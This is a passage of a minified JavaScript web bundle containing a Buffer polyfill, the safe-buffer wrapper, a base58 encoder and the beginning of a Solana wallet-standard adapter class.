Y=J[G];if(xe(Y,Uint8Array))Z+Y.length>O.length?(a.isBuffer(Y)||(Y=a.from(Y)),Y.copy(O,Z)):Uint8Array.prototype.set.call(O,Y,Z);else if(a.isBuffer(Y))Y.copy(O,Z);else throw new TypeError('"list" argument must be an Array of Buffers');Z+=Y.length}return O};function E(Q,J){if(a.isBuffer(Q))return Q.length;if(ArrayBuffer.isView(Q)||xe(Q,ArrayBuffer))return Q.byteLength;if(typeof Q!="string")throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof Q);const V=Q.length,G=arguments.length>2&&arguments[2]===!0;if(!G&&V===0)return 0;let O=!1;for(;;)switch(J){case"ascii":case"latin1":case"binary":return V;case"utf8":case"utf-8":return me(Q).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return V*2;case"hex":return V>>>1;case"base64":return Ae(Q).length;default:if(O)return G?-1:me(Q).length;J=(""+J).toLowerCase(),O=!0}}a.byteLength=E;function x(Q,J,V){let G=!1;if((J===void 0||J<0)&&(J=0),J>this.length||((V===void 0||V>this.length)&&(V=this.length),V<=0)||(V>>>=0,J>>>=0,V<=J))return"";for(Q||(Q="utf8");;)switch(Q){case"hex":return S(this,J,V);case"utf8":case"utf-8":return h(this,J,V);case"ascii":return A(this,J,V);case"latin1":case"binary":return C(this,J,V);case"base64":return L(this,J,V);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return z(this,J,V);default:if(G)throw new TypeError("Unknown encoding: "+Q);Q=(Q+"").toLowerCase(),G=!0}}a.prototype._isBuffer=!0;function R(Q,J,V){const G=Q[J];Q[J]=Q[V],Q[V]=G}a.prototype.swap16=function(){const J=this.length;if(J%2!==0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(let V=0;V<J;V+=2)R(this,V,V+1);return this},a.prototype.swap32=function(){const J=this.length;if(J%4!==0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(let V=0;V<J;V+=4)R(this,V,V+3),R(this,V+1,V+2);return this},a.prototype.swap64=function(){const J=this.length;if(J%8!==0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(let V=0;V<J;V+=8)R(this,V,V+7),R(this,V+1,V+6),R(this,V+2,V+5),R(this,V+3,V+4);return this},a.prototype.toString=function(){const J=this.length;return J===0?"":arguments.length===0?h(this,0,J):x.apply(this,arguments)},a.prototype.toLocaleString=a.prototype.toString,a.prototype.equals=function(J){if(!a.isBuffer(J))throw new TypeError("Argument must be a Buffer");return this===J?!0:a.compare(this,J)===0},a.prototype.inspect=function(){let J="";const V=e.INSPECT_MAX_BYTES;return J=this.toString("hex",0,V).replace(/(.{2})/g,"$1 ").trim(),this.length>V&&(J+=" ... "),"<Buffer "+J+">"},r&&(a.prototype[r]=a.prototype.inspect),a.prototype.compare=function(J,V,G,O,Z){if(xe(J,Uint8Array)&&(J=a.from(J,J.offset,J.byteLength)),!a.isBuffer(J))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+typeof J);if(V===void 0&&(V=0),G===void 0&&(G=J?J.length:0),O===void 0&&(O=0),Z===void 0&&(Z=this.length),V<0||G>J.length||O<0||Z>this.length)throw new RangeError("out of range index");if(O>=Z&&V>=G)return 0;if(O>=Z)return-1;if(V>=G)return 1;if(V>>>=0,G>>>=0,O>>>=0,Z>>>=0,this===J)return 0;let Y=Z-O,$=G-V;const oe=Math.min(Y,$),ee=this.slice(O,Z),ze=J.slice(V,G);for(let Te=0;Te<oe;++Te)if(ee[Te]!==ze[Te]){Y=ee[Te],$=ze[Te];break}return Y<$?-1:$<Y?1:0};function K(Q,J,V,G,O){if(Q.length===0)return-1;if(typeof V=="string"?(G=V,V=0):V>2147483647?V=2147483647:V<-2147483648&&(V=-2147483648),V=+V,Re(V)&&(V=O?0:Q.length-1),V<0&&(V=Q.length+V),V>=Q.length){if(O)return-1;V=Q.length-1}else if(V<0)if(O)V=0;else return-1;if(typeof J=="string"&&(J=a.from(J,G)),a.isBuffer(J))return J.length===0?-1:W(Q,J,V,G,O);if(typeof J=="number")return J=J&255,typeof Uint8Array.prototype.indexOf=="function"?O?Uint8Array.prototype.indexOf.call(Q,J,V):Uint8Array.prototype.lastIndexOf.call(Q,J,V):W(Q,[J],V,G,O);throw new TypeError("val must be string, number or Buffer")}function W(Q,J,V,G,O){let Z=1,Y=Q.length,$=J.length;if(G!==void 0&&(G=String(G).toLowerCase(),G==="ucs2"||G==="ucs-2"||G==="utf16le"||G==="utf-16le")){if(Q.length<2||J.length<2)return-1;Z=2,Y/=2,$/=2,V/=2}function oe(ze,Te){return Z===1?ze[Te]:ze.readUInt16BE(Te*Z)}let ee;if(O){let ze=-1;for(ee=V;ee<Y;ee++)if(oe(Q,ee)===oe(J,ze===-1?0:ee-ze)){if(ze===-1&&(ze=ee),ee-ze+1===$)return ze*Z}else ze!==-1&&(ee-=ee-ze),ze=-1}else for(V+$>Y&&(V=Y-$),ee=V;ee>=0;ee--){let ze=!0;for(let Te=0;Te<$;Te++)if(oe(Q,ee+Te)!==oe(J,Te)){ze=!1;break}if(ze)return ee}return-1}a.prototype.includes=function(J,V,G){return this.indexOf(J,V,G)!==-1},a.prototype.indexOf=function(J,V,G){return K(this,J,V,G,!0)},a.prototype.lastIndexOf=function(J,V,G){return K(this,J,V,G,!1)};function j(Q,J,V,G){V=Number(V)||0;const O=Q.length-V;G?(G=Number(G),G>O&&(G=O)):G=O;const Z=J.length;G>Z/2&&(G=Z/2);let Y;for(Y=0;Y<G;++Y){const $=parseInt(J.substr(Y*2,2),16);if(Re($))return Y;Q[V+Y]=$}return Y}function H(Q,J,V,G){return be(me(J,Q.length-V),Q,V,G)}function P(Q,J,V,G){return be(Ee(J),Q,V,G)}function U(Q,J,V,G){return be(Ae(J),Q,V,G)}function X(Q,J,V,G){return be(Le(J,Q.length-V),Q,V,G)}a.prototype.write=function(J,V,G,O){if(V===void 0)O="utf8",G=this.length,V=0;else if(G===void 0&&typeof V=="string")O=V,G=this.length,V=0;else if(isFinite(V))V=V>>>0,isFinite(G)?(G=G>>>0,O===void 0&&(O="utf8")):(O=G,G=void 0);else throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");const Z=this.length-V;if((G===void 0||G>Z)&&(G=Z),J.length>0&&(G<0||V<0)||V>this.length)throw new RangeError("Attempt to write outside buffer bounds");O||(O="utf8");let Y=!1;for(;;)switch(O){case"hex":return j(this,J,V,G);case"utf8":case"utf-8":return H(this,J,V,G);case"ascii":case"latin1":case"binary":return P(this,J,V,G);case"base64":return U(this,J,V,G);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return X(this,J,V,G);default:if(Y)throw new TypeError("Unknown encoding: "+O);O=(""+O).toLowerCase(),Y=!0}},a.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function L(Q,J,V){return J===0&&V===Q.length?t.fromByteArray(Q):t.fromByteArray(Q.slice(J,V))}function h(Q,J,V){V=Math.min(Q.length,V);const G=[];let O=J;for(;O<V;){const Z=Q[O];let Y=null,$=Z>239?4:Z>223?3:Z>191?2:1;if(O+$<=V){let oe,ee,ze,Te;switch($){case 1:Z<128&&(Y=Z);break;case 2:oe=Q[O+1],(oe&192)===128&&(Te=(Z&31)<<6|oe&63,Te>127&&(Y=Te));break;case 3:oe=Q[O+1],ee=Q[O+2],(oe&192)===128&&(ee&192)===128&&(Te=(Z&15)<<12|(oe&63)<<6|ee&63,Te>2047&&(Te<55296||Te>57343)&&(Y=Te));break;case 4:oe=Q[O+1],ee=Q[O+2],ze=Q[O+3],(oe&192)===128&&(ee&192)===128&&(ze&192)===128&&(Te=(Z&15)<<18|(oe&63)<<12|(ee&63)<<6|ze&63,Te>65535&&Te<1114112&&(Y=Te))}}Y===null?(Y=65533,$=1):Y>65535&&(Y-=65536,G.push(Y>>>10&1023|55296),Y=56320|Y&1023),G.push(Y),O+=$}return w(G)}const b=4096;function w(Q){const J=Q.length;if(J<=b)return String.fromCharCode.apply(String,Q);let V="",G=0;for(;G<J;)V+=String.fromCharCode.apply(String,Q.slice(G,G+=b));return V}function A(Q,J,V){let G="";V=Math.min(Q.length,V);for(let O=J;O<V;++O)G+=String.fromCharCode(Q[O]&127);return G}function C(Q,J,V){let G="";V=Math.min(Q.length,V);for(let O=J;O<V;++O)G+=String.fromCharCode(Q[O]);return G}function S(Q,J,V){const G=Q.length;(!J||J<0)&&(J=0),(!V||V<0||V>G)&&(V=G);let O="";for(let Z=J;Z<V;++Z)O+=Ne[Q[Z]];return O}function z(Q,J,V){const G=Q.slice(J,V);let O="";for(let Z=0;Z<G.length-1;Z+=2)O+=String.fromCharCode(G[Z]+G[Z+1]*256);return O}a.prototype.slice=function(J,V){const G=this.length;J=~~J,V=V===void 0?G:~~V,J<0?(J+=G,J<0&&(J=0)):J>G&&(J=G),V<0?(V+=G,V<0&&(V=0)):V>G&&(V=G),V<J&&(V=J);const O=this.subarray(J,V);return Object.setPrototypeOf(O,a.prototype),O};function k(Q,J,V){if(Q%1!==0||Q<0)throw new RangeError("offset is not uint");if(Q+J>V)throw new RangeError("Trying to access beyond buffer length")}a.prototype.readUintLE=a.prototype.readUIntLE=function(J,V,G){J=J>>>0,V=V>>>0,G||k(J,V,this.length);let O=this[J],Z=1,Y=0;for(;++Y<V&&(Z*=256);)O+=this[J+Y]*Z;return O},a.prototype.readUintBE=a.prototype.readUIntBE=function(J,V,G){J=J>>>0,V=V>>>0,G||k(J,V,this.length);let O=this[J+--V],Z=1;for(;V>0&&(Z*=256);)O+=this[J+--V]*Z;return O},a.prototype.readUint8=a.prototype.readUInt8=function(J,V){return J=J>>>0,V||k(J,1,this.length),this[J]},a.prototype.readUint16LE=a.prototype.readUInt16LE=function(J,V){return J=J>>>0,V||k(J,2,this.length),this[J]|this[J+1]<<8},a.prototype.readUint16BE=a.prototype.readUInt16BE=function(J,V){return J=J>>>0,V||k(J,2,this.length),this[J]<<8|this[J+1]},a.prototype.readUint32LE=a.prototype.readUInt32LE=function(J,V){return J=J>>>0,V||k(J,4,this.length),(this[J]|this[J+1]<<8|this[J+2]<<16)+this[J+3]*16777216},a.prototype.readUint32BE=a.prototype.readUInt32BE=function(J,V){return J=J>>>0,V||k(J,4,this.length),this[J]*16777216+(this[J+1]<<16|this[J+2]<<8|this[J+3])},a.prototype.readBigUInt64LE=Se(function(J){J=J>>>0,se(J,"offset");const V=this[J],G=this[J+7];(V===void 0||G===void 0)&&ue(J,this.length-8);const O=V+this[++J]*2**8+this[++J]*2**16+this[++J]*2**24,Z=this[++J]+this[++J]*2**8+this[++J]*2**16+G*2**24;return BigInt(O)+(BigInt(Z)<<BigInt(32))}),a.prototype.readBigUInt64BE=Se(function(J){J=J>>>0,se(J,"offset");const V=this[J],G=this[J+7];(V===void 0||G===void 0)&&ue(J,this.length-8);const O=V*2**24+this[++J]*2**16+this[++J]*2**8+this[++J],Z=this[++J]*2**24+this[++J]*2**16+this[++J]*2**8+G;return(BigInt(O)<<BigInt(32))+BigInt(Z)}),a.prototype.readIntLE=function(J,V,G){J=J>>>0,V=V>>>0,G||k(J,V,this.length);let O=this[J],Z=1,Y=0;for(;++Y<V&&(Z*=256);)O+=this[J+Y]*Z;return Z*=128,O>=Z&&(O-=Math.pow(2,8*V)),O},a.prototype.readIntBE=function(J,V,G){J=J>>>0,V=V>>>0,G||k(J,V,this.length);let O=V,Z=1,Y=this[J+--O];for(;O>0&&(Z*=256);)Y+=this[J+--O]*Z;return Z*=128,Y>=Z&&(Y-=Math.pow(2,8*V)),Y},a.prototype.readInt8=function(J,V){return J=J>>>0,V||k(J,1,this.length),this[J]&128?(255-this[J]+1)*-1:this[J]},a.prototype.readInt16LE=function(J,V){J=J>>>0,V||k(J,2,this.length);const G=this[J]|this[J+1]<<8;return G&32768?G|4294901760:G},a.prototype.readInt16BE=function(J,V){J=J>>>0,V||k(J,2,this.length);const G=this[J+1]|this[J]<<8;return G&32768?G|4294901760:G},a.prototype.readInt32LE=function(J,V){return J=J>>>0,V||k(J,4,this.length),this[J]|this[J+1]<<8|this[J+2]<<16|this[J+3]<<24},a.prototype.readInt32BE=function(J,V){return J=J>>>0,V||k(J,4,this.length),this[J]<<24|this[J+1]<<16|this[J+2]<<8|this[J+3]},a.prototype.readBigInt64LE=Se(function(J){J=J>>>0,se(J,"offset");const V=this[J],G=this[J+7];(V===void 0||G===void 0)&&ue(J,this.length-8);const O=this[J+4]+this[J+5]*2**8+this[J+6]*2**16+(G<<24);return(BigInt(O)<<BigInt(32))+BigInt(V+this[++J]*2**8+this[++J]*2**16+this[++J]*2**24)}),a.prototype.readBigInt64BE=Se(function(J){J=J>>>0,se(J,"offset");const V=this[J],G=this[J+7];(V===void 0||G===void 0)&&ue(J,this.length-8);const O=(V<<24)+this[++J]*2**16+this[++J]*2**8+this[++J];return(BigInt(O)<<BigInt(32))+BigInt(this[++J]*2**24+this[++J]*2**16+this[++J]*2**8+G)}),a.prototype.readFloatLE=function(J,V){return J=J>>>0,V||k(J,4,this.length),n.read(this,J,!0,23,4)},a.prototype.readFloatBE=function(J,V){return J=J>>>0,V||k(J,4,this.length),n.read(this,J,!1,23,4)},a.prototype.readDoubleLE=function(J,V){return J=J>>>0,V||k(J,8,this.length),n.read(this,J,!0,52,8)},a.prototype.readDoubleBE=function(J,V){return J=J>>>0,V||k(J,8,this.length),n.read(this,J,!1,52,8)};function y(Q,J,V,G,O,Z){if(!a.isBuffer(Q))throw new TypeError('"buffer" argument must be a Buffer instance');if(J>O||J<Z)throw new RangeError('"value" argument is out of bounds');if(V+G>Q.length)throw new RangeError("Index out of range")}a.prototype.writeUintLE=a.prototype.writeUIntLE=function(J,V,G,O){if(J=+J,V=V>>>0,G=G>>>0,!O){const $=Math.pow(2,8*G)-1;y(this,J,V,G,$,0)}let Z=1,Y=0;for(this[V]=J&255;++Y<G&&(Z*=256);)this[V+Y]=J/Z&255;return V+G},a.prototype.writeUintBE=a.prototype.writeUIntBE=function(J,V,G,O){if(J=+J,V=V>>>0,G=G>>>0,!O){const $=Math.pow(2,8*G)-1;y(this,J,V,G,$,0)}let Z=G-1,Y=1;for(this[V+Z]=J&255;--Z>=0&&(Y*=256);)this[V+Z]=J/Y&255;return V+G},a.prototype.writeUint8=a.prototype.writeUInt8=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,1,255,0),this[V]=J&255,V+1},a.prototype.writeUint16LE=a.prototype.writeUInt16LE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,2,65535,0),this[V]=J&255,this[V+1]=J>>>8,V+2},a.prototype.writeUint16BE=a.prototype.writeUInt16BE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,2,65535,0),this[V]=J>>>8,this[V+1]=J&255,V+2},a.prototype.writeUint32LE=a.prototype.writeUInt32LE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,4,4294967295,0),this[V+3]=J>>>24,this[V+2]=J>>>16,this[V+1]=J>>>8,this[V]=J&255,V+4},a.prototype.writeUint32BE=a.prototype.writeUInt32BE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,4,4294967295,0),this[V]=J>>>24,this[V+1]=J>>>16,this[V+2]=J>>>8,this[V+3]=J&255,V+4};function T(Q,J,V,G,O){Me(J,G,O,Q,V,7);let Z=Number(J&BigInt(4294967295));Q[V++]=Z,Z=Z>>8,Q[V++]=Z,Z=Z>>8,Q[V++]=Z,Z=Z>>8,Q[V++]=Z;let Y=Number(J>>BigInt(32)&BigInt(4294967295));return Q[V++]=Y,Y=Y>>8,Q[V++]=Y,Y=Y>>8,Q[V++]=Y,Y=Y>>8,Q[V++]=Y,V}function te(Q,J,V,G,O){Me(J,G,O,Q,V,7);let Z=Number(J&BigInt(4294967295));Q[V+7]=Z,Z=Z>>8,Q[V+6]=Z,Z=Z>>8,Q[V+5]=Z,Z=Z>>8,Q[V+4]=Z;let Y=Number(J>>BigInt(32)&BigInt(4294967295));return Q[V+3]=Y,Y=Y>>8,Q[V+2]=Y,Y=Y>>8,Q[V+1]=Y,Y=Y>>8,Q[V]=Y,V+8}a.prototype.writeBigUInt64LE=Se(function(J,V=0){return T(this,J,V,BigInt(0),BigInt("0xffffffffffffffff"))}),a.prototype.writeBigUInt64BE=Se(function(J,V=0){return te(this,J,V,BigInt(0),BigInt("0xffffffffffffffff"))}),a.prototype.writeIntLE=function(J,V,G,O){if(J=+J,V=V>>>0,!O){const oe=Math.pow(2,8*G-1);y(this,J,V,G,oe-1,-oe)}let Z=0,Y=1,$=0;for(this[V]=J&255;++Z<G&&(Y*=256);)J<0&&$===0&&this[V+Z-1]!==0&&($=1),this[V+Z]=(J/Y>>0)-$&255;return V+G},a.prototype.writeIntBE=function(J,V,G,O){if(J=+J,V=V>>>0,!O){const oe=Math.pow(2,8*G-1);y(this,J,V,G,oe-1,-oe)}let Z=G-1,Y=1,$=0;for(this[V+Z]=J&255;--Z>=0&&(Y*=256);)J<0&&$===0&&this[V+Z+1]!==0&&($=1),this[V+Z]=(J/Y>>0)-$&255;return V+G},a.prototype.writeInt8=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,1,127,-128),J<0&&(J=255+J+1),this[V]=J&255,V+1},a.prototype.writeInt16LE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,2,32767,-32768),this[V]=J&255,this[V+1]=J>>>8,V+2},a.prototype.writeInt16BE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,2,32767,-32768),this[V]=J>>>8,this[V+1]=J&255,V+2},a.prototype.writeInt32LE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,4,2147483647,-2147483648),this[V]=J&255,this[V+1]=J>>>8,this[V+2]=J>>>16,this[V+3]=J>>>24,V+4},a.prototype.writeInt32BE=function(J,V,G){return J=+J,V=V>>>0,G||y(this,J,V,4,2147483647,-2147483648),J<0&&(J=4294967295+J+1),this[V]=J>>>24,this[V+1]=J>>>16,this[V+2]=J>>>8,this[V+3]=J&255,V+4},a.prototype.writeBigInt64LE=Se(function(J,V=0){return T(this,J,V,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))}),a.prototype.writeBigInt64BE=Se(function(J,V=0){return te(this,J,V,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});function le(Q,J,V,G,O,Z){if(V+G>Q.length)throw new RangeError("Index out of range");if(V<0)throw new RangeError("Index out of range")}function re(Q,J,V,G,O){return J=+J,V=V>>>0,O||le(Q,J,V,4),n.write(Q,J,V,G,23,4),V+4}a.prototype.writeFloatLE=function(J,V,G){return re(this,J,V,!0,G)},a.prototype.writeFloatBE=function(J,V,G){return re(this,J,V,!1,G)};function de(Q,J,V,G,O){return J=+J,V=V>>>0,O||le(Q,J,V,8),n.write(Q,J,V,G,52,8),V+8}a.prototype.writeDoubleLE=function(J,V,G){return de(this,J,V,!0,G)},a.prototype.writeDoubleBE=function(J,V,G){return de(this,J,V,!1,G)},a.prototype.copy=function(J,V,G,O){if(!a.isBuffer(J))throw new TypeError("argument should be a Buffer");if(G||(G=0),!O&&O!==0&&(O=this.length),V>=J.length&&(V=J.length),V||(V=0),O>0&&O<G&&(O=G),O===G||J.length===0||this.length===0)return 0;if(V<0)throw new RangeError("targetStart out of bounds");if(G<0||G>=this.length)throw new RangeError("Index out of range");if(O<0)throw new RangeError("sourceEnd out of bounds");O>this.length&&(O=this.length),J.length-V<O-G&&(O=J.length-V+G);const Z=O-G;return this===J&&typeof Uint8Array.prototype.copyWithin=="function"?this.copyWithin(V,G,O):Uint8Array.prototype.set.call(J,this.subarray(G,O),V),Z},a.prototype.fill=function(J,V,G,O){if(typeof J=="string"){if(typeof V=="string"?(O=V,V=0,G=this.length):typeof G=="string"&&(O=G,G=this.length),O!==void 0&&typeof O!="string")throw new TypeError("encoding must be a string");if(typeof O=="string"&&!a.isEncoding(O))throw new TypeError("Unknown encoding: "+O);if(J.length===1){const Y=J.charCodeAt(0);(O==="utf8"&&Y<128||O==="latin1")&&(J=Y)}}else typeof J=="number"?J=J&255:typeof J=="boolean"&&(J=Number(J));if(V<0||this.length<V||this.length<G)throw new RangeError("Out of range index");if(G<=V)return this;V=V>>>0,G=G===void 0?this.length:G>>>0,J||(J=0);let Z;if(typeof J=="number")for(Z=V;Z<G;++Z)this[Z]=J;else{const Y=a.isBuffer(J)?J:a.from(J,O),$=Y.length;if($===0)throw new TypeError('The value "'+J+'" is invalid for argument "value"');for(Z=0;Z<G-V;++Z)this[Z+V]=Y[Z%$]}return this};const ce={};function we(Q,J,V){ce[Q]=class extends V{constructor(){super(),Object.defineProperty(this,"message",{value:J.apply(this,arguments),writable:!0,configurable:!0}),this.name=`${this.name} [${Q}]`,this.stack,delete this.name}get code(){return Q}set code(O){Object.defineProperty(this,"code",{configurable:!0,enumerable:!0,value:O,writable:!0})}toString(){return`${this.name} [${Q}]: ${this.message}`}}}we("ERR_BUFFER_OUT_OF_BOUNDS",function(Q){return Q?`${Q} is outside of buffer bounds`:"Attempt to access memory outside buffer bounds"},RangeError),we("ERR_INVALID_ARG_TYPE",function(Q,J){return`The "${Q}" argument must be of type number. Received type ${typeof J}`},TypeError),we("ERR_OUT_OF_RANGE",function(Q,J,V){let G=`The value of "${Q}" is out of range.`,O=V;return Number.isInteger(V)&&Math.abs(V)>2**32?O=Ie(String(V)):typeof V=="bigint"&&(O=String(V),(V>BigInt(2)**BigInt(32)||V<-(BigInt(2)**BigInt(32)))&&(O=Ie(O)),O+="n"),G+=` It must be ${J}. Received ${O}`,G},RangeError);function Ie(Q){let J="",V=Q.length;const G=Q[0]==="-"?1:0;for(;V>=G+4;V-=3)J=`_${Q.slice(V-3,V)}${J}`;return`${Q.slice(0,V)}${J}`}function ge(Q,J,V){se(J,"offset"),(Q[J]===void 0||Q[J+V]===void 0)&&ue(J,Q.length-(V+1))}function Me(Q,J,V,G,O,Z){if(Q>V||Q<J){const Y=typeof J=="bigint"?"n":"";let $;throw Z>3?J===0||J===BigInt(0)?$=`>= 0${Y} and < 2${Y} ** ${(Z+1)*8}${Y}`:$=`>= -(2${Y} ** ${(Z+1)*8-1}${Y}) and < 2 ** ${(Z+1)*8-1}${Y}`:$=`>= ${J}${Y} and <= ${V}${Y}`,new ce.ERR_OUT_OF_RANGE("value",$,Q)}ge(G,O,Z)}function se(Q,J){if(typeof Q!="number")throw new ce.ERR_INVALID_ARG_TYPE(J,"number",Q)}function ue(Q,J,V){throw Math.floor(Q)!==Q?(se(Q,V),new ce.ERR_OUT_OF_RANGE(V||"offset","an integer",Q)):J<0?new ce.ERR_BUFFER_OUT_OF_BOUNDS:new ce.ERR_OUT_OF_RANGE(V||"offset",`>= ${V?1:0} and <= ${J}`,Q)}const ve=/[^+/0-9A-Za-z-_]/g;function ke(Q){if(Q=Q.split("=")[0],Q=Q.trim().replace(ve,""),Q.length<2)return"";for(;Q.length%4!==0;)Q=Q+"=";return Q}function me(Q,J){J=J||1/0;let V;const G=Q.length;let O=null;const Z=[];for(let Y=0;Y<G;++Y){if(V=Q.charCodeAt(Y),V>55295&&V<57344){if(!O){if(V>56319){(J-=3)>-1&&Z.push(239,191,189);continue}else if(Y+1===G){(J-=3)>-1&&Z.push(239,191,189);continue}O=V;continue}if(V<56320){(J-=3)>-1&&Z.push(239,191,189),O=V;continue}V=(O-55296<<10|V-56320)+65536}else O&&(J-=3)>-1&&Z.push(239,191,189);if(O=null,V<128){if((J-=1)<0)break;Z.push(V)}else if(V<2048){if((J-=2)<0)break;Z.push(V>>6|192,V&63|128)}else if(V<65536){if((J-=3)<0)break;Z.push(V>>12|224,V>>6&63|128,V&63|128)}else if(V<1114112){if((J-=4)<0)break;Z.push(V>>18|240,V>>12&63|128,V>>6&63|128,V&63|128)}else throw new Error("Invalid code point")}return Z}function Ee(Q){const J=[];for(let V=0;V<Q.length;++V)J.push(Q.charCodeAt(V)&255);return J}function Le(Q,J){let V,G,O;const Z=[];for(let Y=0;Y<Q.length&&!((J-=2)<0);++Y)V=Q.charCodeAt(Y),G=V>>8,O=V%256,Z.push(O),Z.push(G);return Z}function Ae(Q){return t.toByteArray(ke(Q))}function be(Q,J,V,G){let O;for(O=0;O<G&&!(O+V>=J.length||O>=Q.length);++O)J[O+V]=Q[O];return O}function xe(Q,J){return Q instanceof J||Q!=null&&Q.constructor!=null&&Q.constructor.name!=null&&Q.constructor.name===J.name}function Re(Q){return Q!==Q}const Ne=function(){const Q="0123456789abcdef",J=new Array(256);for(let V=0;V<16;++V){const G=V*16;for(let O=0;O<16;++O)J[G+O]=Q[V]+Q[O]}return J}();function Se(Q){return typeof BigInt>"u"?Ze:Q}function Ze(){throw new Error("BigInt not supported")}})(ZC);/*! safe-buffer. MIT License. Feross Aboukhadijeh <https://feross.org/opensource> */(function(e,t){var n=ZC,r=n.Buffer;function o(s,a){for(var l in s)a[l]=s[l]}r.from&&r.alloc&&r.allocUnsafe&&r.allocUnsafeSlow?e.exports=n:(o(n,t),t.Buffer=i);function i(s,a,l){return r(s,a,l)}i.prototype=Object.create(r.prototype),o(r,i),i.from=function(s,a,l){if(typeof s=="number")throw new TypeError("Argument must not be a number");return r(s,a,l)},i.alloc=function(s,a,l){if(typeof s!="number")throw new TypeError("Argument must be a number");var u=r(s);return a!==void 0?typeof l=="string"?u.fill(a,l):u.fill(a):u.fill(0),u},i.allocUnsafe=function(s){if(typeof s!="number")throw new TypeError("Argument must be a number");return r(s)},i.allocUnsafeSlow=function(s){if(typeof s!="number")throw new TypeError("Argument must be a number");return n.SlowBuffer(s)}})(bg,bg.exports);var Lf=bg.exports.Buffer;function q8(e){if(e.length>=255)throw new TypeError("Alphabet too long");for(var t=new Uint8Array(256),n=0;n<t.length;n++)t[n]=255;for(var r=0;r<e.length;r++){var o=e.charAt(r),i=o.charCodeAt(0);if(t[i]!==255)throw new TypeError(o+" is ambiguous");t[i]=r}var s=e.length,a=e.charAt(0),l=Math.log(s)/Math.log(256),u=Math.log(256)/Math.log(s);function c(m){if((Array.isArray(m)||m instanceof Uint8Array)&&(m=Lf.from(m)),!Lf.isBuffer(m))throw new TypeError("Expected Buffer");if(m.length===0)return"";for(var g=0,v=0,I=0,q=m.length;I!==q&&m[I]===0;)I++,g++;for(var M=(q-I)*u+1>>>0,E=new Uint8Array(M);I!==q;){for(var x=m[I],R=0,K=M-1;(x!==0||R<v)&&K!==-1;K--,R++)x+=256*E[K]>>>0,E[K]=x%s>>>0,x=x/s>>>0;if(x!==0)throw new Error("Non-zero carry");v=R,I++}for(var W=M-v;W!==M&&E[W]===0;)W++;for(var j=a.repeat(g);W<M;++W)j+=e.charAt(E[W]);return j}function f(m){if(typeof m!="string")throw new TypeError("Expected String");if(m.length===0)return Lf.alloc(0);for(var g=0,v=0,I=0;m[g]===a;)v++,g++;for(var q=(m.length-g)*l+1>>>0,M=new Uint8Array(q);m[g];){var E=t[m.charCodeAt(g)];if(E===255)return;for(var x=0,R=q-1;(E!==0||x<I)&&R!==-1;R--,x++)E+=s*M[R]>>>0,M[R]=E%256>>>0,E=E/256>>>0;if(E!==0)throw new Error("Non-zero carry");I=x,g++}for(var K=q-I;K!==q&&M[K]===0;)K++;var W=Lf.allocUnsafe(v+(q-K));W.fill(0,0,v);for(var j=v;K!==q;)W[j++]=M[K++];return W}function p(m){var g=f(m);if(g)return g;throw new Error("Non-base"+s+" character")}return{encode:c,decodeUnsafe:f,decode:p}}var w8=q8,S8=w8,E8="123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz",A8=S8(E8);function Bc(e){return"version"in e}var ni=globalThis&&globalThis.__classPrivateFieldSet||function(e,t,n,r,o){if(r==="m")throw new TypeError("Private method is not writable");if(r==="a"&&!o)throw new TypeError("Private accessor was defined without a setter");if(typeof t=="function"?e!==t||!o:!t.has(e))throw new TypeError("Cannot write private member to an object whose class did not declare it");return r==="a"?o.call(e,n):o?o.value=n:t.set(e,n),n},Qt=globalThis&&globalThis.__classPrivateFieldGet||function(e,t,n,r){if(n==="a"&&!r)throw new TypeError("Private accessor was defined without a getter");if(typeof t=="function"?e!==t||!r:!t.has(e))throw new TypeError("Cannot read private member from an object whose class did not declare it");return n==="m"?r:n==="a"?r.call(e):r?r.value:t.get(e)},ri,xi,Iu,hu,_c,Rn,gh,yh,Sp,bh,Ig,nS,rS,oS;function M8(e){return"standard:connect"in e.features&&"standard:events"in e.features&&("solana:signAndSendTransaction"in e.features||"solana:signTransaction"in e.features)}class C8 extends JA{constructor({wallet:t}){super(),ri.add(this),xi.set(this,void 0),Iu.set(this,void 0),hu.set(this,void 0),_c.set(this,void 0),Rn.set(this,void 0),gh.set(this,void 0),yh.set(this,typeof window>"u"||typeof document>"u"?Wt.Unsupported:Wt.Installed),Ig.set(this,r=>{if(!Qt(this,xi,"f")||!Qt(this,Iu,"f")||!("accounts"in r))return;const o=Qt(this,Rn,"f").accounts[0];if(!o){Qt(this,ri,"m",bh).call(this),this.emit("error",new dc),this.emit("disconnect");return}if(o===Qt(this,xi,"f"))return;let i;try{i=new ht(o.publicKey)}catch(s){Qt(this,ri,"m",bh).call(this),this.emit("error",new Ni(s==null?void 0:s.message)),this.emit("disconnect");return}Qt(this,ri,"m",Sp).call(this,o,i),this.emit("connect",i)}),ni(this,Rn,t,"f");const n="solana:signAndSendTransaction"in t.features?t.features["solana:signAndSendTransaction"].supportedTransactionVersions:t.features["solana:signTransaction"].supportedTransactionVersions;ni(this,gh,f8(n,["legacy"])?null:new Set(n),"f"),ni(this,xi,null,"f"),ni(this,Iu,null,"f"),ni(this,hu,!1,"f")}get supportedTransactionVersions(){return Qt(this,gh,"f")}get name(){return Qt(this,Rn,"f").name}get icon(){return 